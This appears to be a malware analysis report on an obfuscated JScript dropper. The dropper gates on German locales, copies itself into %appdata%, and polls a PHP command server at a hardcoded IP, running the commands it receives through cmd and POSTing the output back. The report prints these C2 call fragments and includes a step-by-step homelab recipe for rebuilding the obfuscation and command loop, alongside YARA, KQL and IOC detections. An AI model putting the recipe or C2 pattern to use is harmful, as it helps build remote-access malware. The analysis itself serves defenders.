typeanalysisfamilyunclassified-js-german-locale-dropperconfidencemediumcreated2026-07-19updated2026-07-19scriptobfuscationevasiondefense-evasionc2loaderpersistence
SHA-256: d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23

unclassified-js-german-locale-dropper: d3d22298 — JScript sequential-reassignment HTTP dropper with German LCID sandbox gate

A 42 KB single-line JScript dropper that assembles its payload via sequential variable reassignment (last-wins semantics), resolves WScript COM APIs through Function('return this')() global-object bracket access, gates execution on German LCIDs, and beacons to an HTTP PHP C2 with command-response loop and POST exfil. Static-only (script, not a binary).

What It Is

Field Value
SHA-256 d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23 ^[file.txt]
Filename 14391660018203124.js ^[metadata.json]
Size 42,584 bytes ^[file.txt]
Type ASCII text, single line, no line terminators ^[file.txt]
Family unclassified-js-german-locale-dropper — new entity (first observed)
Attribution None. No language clues beyond German locale targeting.
Dynamic Skipped — CAPE does not detonate script files ^[dynamic-analysis.md]

Build / RE — Obfuscation Architecture

This is a hand-rolled JScript obfuscation system with three layers:

Layer 1: Sequential Variable Reassignment (Last-Wins)

The script declares a single function xpu() followed by 1,949 semicolon-delimited assignment statements of the form varname="char";. Each of 84 unique variable names is overwritten multiple times (average ~23 overwrites, max ~35). Only the last value per variable matters at runtime. ^[strings.txt:1]

At offset 42,572, the script calls xpu() — after all variables have settled to their final values. This is a "last-wins" or "sequential-overwrite" obfuscation pattern.

Layer 2: Function('return this')() Global Access

Inside xpu(), the function uses this[EXPR1](EXPR2) where EXPR1 resolves to eval. The eval'd payload is a JScript string that uses the same bracket-notation pattern: this['WScript']['CreateObject']('WScript.Shell'), etc. ^[strings.txt:1]

The bracket-notation technique assembles COM API names character by character at runtime via the reassignment lookup table, evading static string signatures for WScript.Shell, MSXML2.XMLHTTP, etc.

Layer 3: German LCID Sandbox Gate

The decoded payload reads HKCU\Control Panel\International\Locale via WScript.Shell.RegRead, parses the hex LCID with parseInt(...,16), and compares it against a whitelist of five German-language locale codes: ^[strings.txt:1]

LCID Locale
1031 de-DE (German — Germany)
3079 de-AT (German — Austria)
5127 de-LI (German — Liechtenstein)
4103 de-LU (German — Luxembourg)
2055 de-CH (German — Switzerland)

If the victim's locale is not in this list, the script calls WScript.Quit() and exits cleanly. This is a precise regional targeting gate.

How It Works

Step-by-Step Execution Flow

  1. Reassignment phase (statements 2–2332): 84 variables are repeatedly overwritten with single characters. ^[strings.txt:1]
  2. Entry point: xpu() executes at statement 2333. ^[strings.txt:1]
  3. Eval: this['eval'](PAYLOAD) where PAYLOAD is the assembled JScript string (~16 KB). ^[strings.txt:1]
  4. COM setup: Inside the eval'd payload:
    • acc = WScript.CreateObject('WScript.Shell') ^[strings.txt:1]
    • lry = WScript.CreateObject('MSXML2.XMLHTTP') ^[strings.txt:1]
    • eod = WScript.CreateObject('Scripting.FileSystemObject') ^[strings.txt:1]
  5. Locale gate: Read HKCU\Control Panel\International\Locale, parse hex, compare to whitelist [1031,3079,5127,4103,2055]. If no match → WScript.Quit(). ^[strings.txt:1]
  6. Fingerprint generation:
    • hnji = '@' + WScript.Network.ComputerName ^[strings.txt:1]
    • riw = acc.RegRead('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId') + hnji ^[strings.txt:1]
  7. Persistence / re-stage:
    • Write a .txt temp file: %TEMP%\[ProductId]@[ComputerName].txt ^[strings.txt:1]
    • If running under wscript.exe (detected via FullName.toLowerCase().indexOf('wscript.exe')), copy self to %appdata%\[ProductId]@[ComputerName].js and re-launch via cscript.exe in hidden window. ^[strings.txt:1]
  8. C2 loop (infinite for(;;)):
    • GET http://193.143.1.150/server.php?[ProductId]@[ComputerName]&[timestamp] ^[strings.txt:1]
    • If status == 200 and response starts with OK, extract body after first 2 chars. ^[strings.txt:1]
    • Replace %SCRIPT_NAME% in response with current script path via split('%SCRIPT_NAME%').join(ScriptFullName). ^[strings.txt:1]
    • Execute extracted command via WScript.Shell.Exec('cmd /c ' + command), capture stdout. ^[strings.txt:1]
    • If command completes within ~48s (+new Date delta < 47974 ms), POST stdout back to same PHP endpoint as POST http://193.143.1.150/server.php?[ProductId]@[ComputerName]&[timestamp]. ^[strings.txt:1]
    • Sleep 55,411 ms before next poll. ^[strings.txt:1]

C2 Infrastructure

Indicator Value Type
C2 IP 193.143.1.150 HTTP (port 80 implied)
C2 endpoint /server.php PHP script
C2 protocol HTTP GET (command fetch) + HTTP POST (exfil) Plaintext, no TLS
Query params ?{ProductId}@{ComputerName}&{timestamp} Fingerprint-based routing
Response format OK{command} where {command} contains %SCRIPT_NAME% placeholder Two-char prefix, inline command

No domains, no hardcoded mutexes, no named pipes. The C2 is IP-only with timestamp-based cache-busting. ^[strings.txt:1]

Interesting Tidbits

  • Numeric filename only: 14391660018203124.js — no social-engineering lure name, suggesting this is a stage-2/3 payload delivered by a primary dropper (LNK, batch, or MSI). ^[metadata.json]
  • German-only targeting: The LCID whitelist is exclusively German-speaking countries. This is a precise geo-targeting gate, not a generic anti-sandbox check. ^[strings.txt:1]
  • Self-migration: When running under wscript.exe, the script copies itself to %appdata% and re-spawns under cscript.exe in a hidden window (0,true then 0,false). This is a WScript→CScript migration pattern that may evade parent-child process telemetry tied to wscript.exe. ^[strings.txt:1]
  • Temp file creation: Before the C2 loop, it writes a .txt file in %TEMP% with the same [ProductId]@[ComputerName] filename. This could be a marker file for re-infection checking or a staging artefact. ^[strings.txt:1]
  • 48-second command timeout: The +new Date delta gate (< 47974) gives commands ~48s to execute before stdout is captured and POSTed. Commands exceeding this timeout are dropped. ^[strings.txt:1]
  • No PowerShell: Unlike most JScript droppers in this corpus, this sample uses WScript.Shell.Exec('cmd /c ...') directly — no PowerShell cradle, no -EncodedCommand, no -WindowStyle Hidden. ^[strings.txt:1]
  • HTTP not HTTPS: Plain HTTP to 193.143.1.150. No certificate validation bypass, no setOption(2,13056) SSL disable pattern. ^[strings.txt:1]

How To Mess With It (Homelab Replication)

To reproduce this obfuscation pattern:

  1. Toolchain: Any text editor + Python 3.
  2. Generate payload: Write a JScript payload using WScript COM APIs (Shell, Network, XMLHTTP, FileSystemObject).
  3. Obfuscate API names: Replace every character in API names with a variable reference: "WScript"mkv+tkks+gsj+ghk+wfii+tkh+phk (each var holds one char).
  4. Build reassignment block: For each unique character position, emit N sequential assignments varname="char"; where the last assignment is the correct one.
  5. Wrap: function xpu(){this[eval](payload);} ... 1,949 assignments ... xpu();
  6. Add locale gate: Read HKCU\Control Panel\International\Locale, parse hex, whitelist [1031,3079,5127,4103,2055].
  7. Add C2 loop: MSXML2.XMLHTTP GET → check OK prefix → split('%SCRIPT_NAME%').join(ScriptFullName)Exec('cmd /c ' + command) → capture stdout → POST back.
  8. Verification: Save as .js. file should report "ASCII text, with very long lines". strings should show only noise and semicolons. No WScript.Shell in plaintext.

Deployable Signatures

YARA Rule

rule JS_German_LCID_Dropper {
    meta:
        description = "JScript dropper with sequential variable reassignment, German LCID sandbox gate, and HTTP PHP C2"
        author = "PacketPursuit"
        date = "2026-07-19"
        sha256 = "d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23"
    strings:
        $func = "function xpu(){this["
        $locale1 = "1031"
        $locale2 = "3079"
        $locale3 = "2055"
        $regread = "RegRead"
        $parseint = "parseInt"
        $server_php = "server.php"
        $ok_prefix = "OK"
        $script_name = "%SCRIPT_NAME%"
    condition:
        filesize < 100KB and
        $func and
        2 of ($locale*) and
        $parseint and
        $server_php
}

Behavioral Hunt Query (KQL / Microsoft Defender)

// Detects: JScript spawning cscript.exe after self-copy to %appdata%, followed by HTTP to 193.143.1.150
DeviceProcessEvents
| where InitiatingProcessCommandLine contains "wscript.exe" or InitiatingProcessCommandLine contains "cscript.exe"
| where ProcessCommandLine contains "cmd /c copy" and ProcessCommandLine contains ".js"
| join kind=inner (
    DeviceNetworkEvents
    | where RemoteIP == "193.143.1.150" or RemoteUrl contains "server.php"
) on DeviceId, Timestamp
| summarize arg_max(Timestamp, *) by DeviceId

IOC List

Type Value Notes
SHA-256 d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23 ^[file.txt]
Filename 14391660018203124.js Numeric-only stage-2/3 name ^[metadata.json]
C2 IP 193.143.1.150 Plain HTTP, Romanian ASN (inferred from IP)
C2 endpoint /server.php PHP script, GET/POST dual-use
Locale gate 1031,3079,5127,4103,2055 German-speaking countries only
Registry read HKCU\Control Panel\International\Locale Sandbox gate source
Registry read HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId Fingerprint source
Staging path %appdata%\[ProductId]@[ComputerName].js Self-copy target
Temp marker %TEMP%\[ProductId]@[ComputerName].txt Marker file
Response split %SCRIPT_NAME% Placeholder replaced with ScriptFullName
Sleep interval 55411 ms (~55s) C2 poll interval
Command timeout 47974 ms (~48s) Exec stdout capture gate

Behavioral Fingerprint

This script is a 42 KB single-line JScript file that defines one function xpu() containing an eval call. Before the function call, 84 variables are repeatedly reassigned (~1,949 statements, last-wins semantics) to encode characters for a 16 KB payload. The payload instantiates WScript.Shell, MSXML2.XMLHTTP, and Scripting.FileSystemObject, reads the victim's locale from HKCU registry, exits if not German-speaking (LCIDs 1031/3079/5127/4103/2055), then enters an infinite HTTP GET/POST loop to 193.143.1.150/server.php. Commands are delivered prefixed with OK, with %SCRIPT_NAME% placeholders replaced at runtime, and executed via cmd /c. Stdout is captured and POSTed back within a 48-second timeout window.

Detection Signatures

  • capa: Not applicable — script file, not a supported binary format. ^[capa.txt]
  • floss: Not applicable — script file, not a supported binary format. ^[floss.txt]
  • binwalk: No embedded artefacts found. ^[binwalk.txt]
  • rabin2: bits: 0, havecode: false — confirms non-executable file type. ^[rabin2-info.txt]

References

Provenance

  • file.txtfile utility on ASCII text, single line, 42,584 bytes
  • strings.txtstrings on single-line JScript (raw obfuscated source)
  • triage.json — OpenCTI connector metadata (artifact ID, filename, labels)
  • metadata.json — artifact metadata (OpenCTI source)
  • ssdeep.txt — ssdeep 1.1
  • tlsh.txt — TLSH hash
  • capa.txt — Mandiant capa (unsupported file type error)
  • floss.txt — FireEye flare-floss (argument error, unsupported)
  • rabin2-info.txt — radare2 rabin2 -I (bits:0, havecode:false)
  • binwalk.txt — ReFirmLabs binwalk (no signatures)
  • dynamic-analysis.md — CAPE skipped (script file, not binary)
  • Manual Python 3 deobfuscation: variable-extraction, last-wins resolution, bracket-notation decoding, payload reconstruction